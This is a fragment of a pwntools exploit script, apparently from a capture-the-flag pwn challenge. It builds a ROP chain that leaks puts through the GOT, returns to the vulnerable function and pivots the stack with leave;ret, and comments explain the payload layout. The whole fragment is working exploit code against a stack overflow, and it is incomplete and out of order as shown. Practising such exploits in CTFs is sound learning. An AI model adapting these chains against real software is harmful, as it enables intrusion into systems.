# payload 2 sh.sendlineafter(b'plz:', b'0'*8 + p64(popRdiAddr) + p64(putsGot) + p64(putsPlt) + p64(vulnAddr) + b'0'*0x28 + p64(space - 8) + p64(leaveRetAddr)) # note that a \n will be left and we must comment the send below # payload structure: [buf | space <- payload (0x48B) | prev_rbp | retAddr]
# sh.sendlineafter(b'name:', b'0'*5) # affected by the '\n' leftover; the name is '\n' sh.recvuntil(b'you: ') # skip space = int(sh.recvuntil(b'info')[:14], 16) + 16 # print(hex(space)) # for dbg